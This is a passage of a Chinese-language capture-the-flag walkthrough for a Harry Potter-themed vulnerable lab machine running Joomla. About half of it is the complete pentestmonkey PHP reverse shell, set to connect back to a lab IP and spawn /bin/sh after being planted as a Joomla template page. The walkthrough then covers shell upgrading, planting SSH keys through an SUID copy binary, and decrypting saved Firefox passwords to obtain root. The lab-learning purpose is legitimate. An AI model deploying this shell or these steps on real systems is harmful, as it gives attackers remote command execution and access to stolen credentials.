// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.93.131';  // CHANGE THIS
$port = 2333;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }

    if ($pid) {
        exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?> 

nc 监听,并访问 shell.php 页面 /joomla/templates/protostar/shell.php

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顺便升级成交互式shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

找到了本靶机第一个魂器:

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提权

/home目录下查看有两个用户,在/home/hermoine发现了第二个魂器,但是没有权限;在/home/snape目录下发现了.creds.txt,解码一下应该是密码

image.pngimage.png

ssh链接测试一下,发现确实

image.png

再次尝试 horcrux2.txt 还是没权限,但发现 /home/hermoine/bin 下有个具有 suid 权限的 su_cp 的二进制文件:

image.png

功能就是复制粘贴。那可以自己生成ssh密钥,复制到 hermoine 用户中,首先先制作 ssh 密钥:

ssh-keygen -f /home/kali/桌面/123

cp 123.pub authorized_keys

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上传到靶机:

scp kali@192.168.93.131:/home/kali/桌面/authorized_keys /tmp

然后使用 su_cp 将 /tmp/authorized_keys 密钥复制到 /home/hermoine/.ssh/authorized_keys

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然后我们就能ssh登录 hermoine 用户:

image.png

现在就能cat第二个魂器了:

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再提权

linpeas.sh 等工具跑了一遍也没发现什么,然后发现在 /home/hermoine/ 下有个 .mozilla 目录:

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这个地方学到了另外一个靶机之间传递文件的好方法

python3 -m http.server
#wget x.x.x.x:8000/文件名 /指定目录

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使用 firefox_decrypt 工具进行解密:

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发现了 root 的密码,切换到 root 用户:

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